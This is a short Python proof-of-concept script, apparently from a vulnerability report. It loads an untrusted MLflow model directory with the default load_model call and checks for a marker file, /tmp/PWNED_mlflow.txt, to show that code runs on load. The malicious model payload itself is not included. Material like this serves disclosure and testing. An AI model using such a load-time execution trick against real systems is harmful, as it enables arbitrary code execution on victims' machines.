File size: 448 Bytes
71a6ac6
 
 
 
 
 
 
 
1
2
3
4
5
6
7
8
9
# Load an untrusted MLflow model dir the normal way. No flags/env.
# Watch /tmp/PWNED_mlflow.txt appear -> the model executed code on load.
import os, mlflow.pyfunc
print("marker before:", os.path.exists("/tmp/PWNED_mlflow.txt"))
mlflow.pyfunc.load_model("model")       # default public API
print("marker after :", os.path.exists("/tmp/PWNED_mlflow.txt"))
if os.path.exists("/tmp/PWNED_mlflow.txt"):
    print(open("/tmp/PWNED_mlflow.txt").read())